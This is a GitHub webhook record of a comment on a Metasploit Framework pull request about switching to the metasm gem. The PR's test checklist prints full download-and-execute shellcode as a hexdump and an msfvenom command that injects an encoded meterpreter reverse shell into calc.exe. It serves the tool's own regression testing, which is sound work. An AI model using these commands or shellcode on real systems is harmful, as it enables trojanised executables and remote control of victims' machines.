{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5889","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5889/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5889/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5889/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5889","id":102899203,"number":5889,"title":"Use the metasm gem instead of an unversioned copy","user":{"login":"jlee-r7","id":1173675,"avatar_url":"https://avatars.githubusercontent.com/u/1173675?v=3","gravatar_id":"","url":"https://api.github.com/users/jlee-r7","html_url":"https://github.com/jlee-r7","followers_url":"https://api.github.com/users/jlee-r7/followers","following_url":"https://api.github.com/users/jlee-r7/following{/other_user}","gists_url":"https://api.github.com/users/jlee-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jlee-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jlee-r7/subscriptions","organizations_url":"https://api.github.com/users/jlee-r7/orgs","repos_url":"https://api.github.com/users/jlee-r7/repos","events_url":"https://api.github.com/users/jlee-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jlee-r7/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":7,"created_at":"2015-08-24T21:51:12Z","updated_at":"2015-08-26T22:56:45Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5889","html_url":"https://github.com/rapid7/metasploit-framework/pull/5889","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5889.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5889.patch"},"body":"## Verification\r\n- [ ] `./tools/metasm_shell.rb`\r\n  - [ ] try a few reasonable instructions, make sure they're sane\r\n  - e.g.: \r\n```\r\nmetasm > xor eax, eax\r\n\"\\x31\\xc0\"\r\n```\r\n- [ ] `msfconsole`\r\n  - Test a payload that assembles at runtime\r\n  - [ ] `use payload/windows/download_exec`\r\n  - [ ] `generate -t raw -f /tmp/download_exec.bin`\r\n  - [ ] `hexdump -C /tmp/download_exec.bin`\r\n  - [ ] **Verify** output:\r\n```\r\n00000000  fc e8 89 00 00 00 60 89  e5 31 d2 64 8b 52 30 8b  |......`..1.d.R0.|\r\n00000010  52 0c 8b 52 14 8b 72 28  0f b7 4a 26 31 ff 31 c0  |R..R..r(..J&1.1.|\r\n00000020  ac 3c 61 7c 02 2c 20 c1  cf 0d 01 c7 e2 f0 52 57  |.<a|., .......RW|\r\n00000030  8b 52 10 8b 42 3c 01 d0  8b 40 78 85 c0 74 4a 01  |.R..B<...@x..tJ.|\r\n00000040  d0 50 8b 48 18 8b 58 20  01 d3 e3 3c 49 8b 34 8b  |.P.H..X ...<I.4.|\r\n00000050  01 d6 31 ff 31 c0 ac c1  cf 0d 01 c7 38 e0 75 f4  |..1.1.......8.u.|\r\n00000060  03 7d f8 3b 7d 24 75 e2  58 8b 58 24 01 d3 66 8b  |.}.;}$u.X.X$..f.|\r\n00000070  0c 4b 8b 58 1c 01 d3 8b  04 8b 01 d0 89 44 24 24  |.K.X.........D$$|\r\n00000080  5b 5b 61 59 5a 51 ff e0  58 5f 5a 8b 12 eb 86 5d  |[[aYZQ..X_Z....]|\r\n00000090  68 6e 65 74 00 68 77 69  6e 69 89 e6 54 68 4c 77  |hnet.hwini..ThLw|\r\n000000a0  26 07 ff d5 31 ff 57 57  57 57 56 68 3a 56 79 a7  |&...1.WWWWVh:Vy.|\r\n000000b0  ff d5 eb 63 5b 31 c9 51  51 6a 03 51 51 68 bb 01  |...c[1.QQj.QQh..|\r\n000000c0  00 00 53 50 68 57 89 9f  c6 ff d5 eb 4f 59 31 d2  |..SPhW......OY1.|\r\n000000d0  52 68 00 32 a0 84 52 52  52 51 52 50 68 eb 55 2e  |Rh.2..RRRQRPh.U.|\r\n000000e0  3b ff d5 89 c6 6a 10 5b  68 80 33 00 00 89 e0 6a  |;....j.[h.3....j|\r\n000000f0  04 50 6a 1f 56 68 75 46  9e 86 ff d5 31 ff 57 57  |.Pj.VhuF....1.WW|\r\n00000100  57 57 56 68 2d 06 18 7b  ff d5 85 c0 75 1d 4b 0f  |WWVh-..{....u.K.|\r\n00000110  84 7a 00 00 00 eb d1 e9  8c 00 00 00 e8 ac ff ff  |.z..............|\r\n00000120  ff 2f 65 76 69 6c 2e 65  78 65 00 eb 6b 31 c0 5f  |./evil.exe..k1._|\r\n00000130  50 6a 02 6a 02 50 6a 02  6a 02 57 68 da f6 da 4f  |Pj.j.Pj.j.Wh...O|\r\n00000140  ff d5 93 31 c0 66 b8 04  03 29 c4 54 8d 4c 24 08  |...1.f...).T.L$.|\r\n00000150  31 c0 b4 03 50 51 56 68  12 96 89 e2 ff d5 85 c0  |1...PQVh........|\r\n00000160  74 2d 58 85 c0 74 16 6a  00 54 50 8d 44 24 0c 50  |t-X..t.j.TP.D$.P|\r\n00000170  53 68 2d 57 ae 5b ff d5  83 ec 04 eb ce 53 68 c6  |Sh-W.[.......Sh.|\r\n00000180  96 87 52 ff d5 6a 00 57  68 31 8b 6f 87 ff d5 6a  |..R..j.Wh1.o...j|\r\n00000190  00 68 f0 b5 a2 56 ff d5  e8 90 ff ff ff 72 75 6e  |.h...V.......run|\r\n000001a0  64 31 31 2e 65 78 65 00  e8 07 ff ff ff 6c 6f 63  |d11.exe......loc|\r\n000001b0  61 6c 68 6f 73 74 00                              |alhost.|\r\n000001b7\r\n```\r\n- [ ] msfvenom still does exe injection and assembling PrependMigrate stub still works\r\n  - [ ] grab a 32-bit win7 calc.exe\r\n  - [ ] `./msfvenom PrependMigrate=true LHOST=192.168.99.1 LPORT=9999 -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai -x calc_win7.exe -k -i 5 > met-inject-9999-win7.exe`\r\n  - [ ] set up a handler for above payload, run exe on win7\r\n  - [ ] **Verify** session\r\n\r\nThere's probably a lot more that could be tested, but this should cover the basics that get the most use."},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/135199987","html_url":"https://github.com/rapid7/metasploit-framework/pull/5889#issuecomment-135199987","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5889","id":135199987,"user":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"created_at":"2015-08-26T22:56:45Z","updated_at":"2015-08-26T22:56:45Z","body":"Yes :-1: , in other news, the first metasploit-framework MSI package for windows just successfully built :P"}}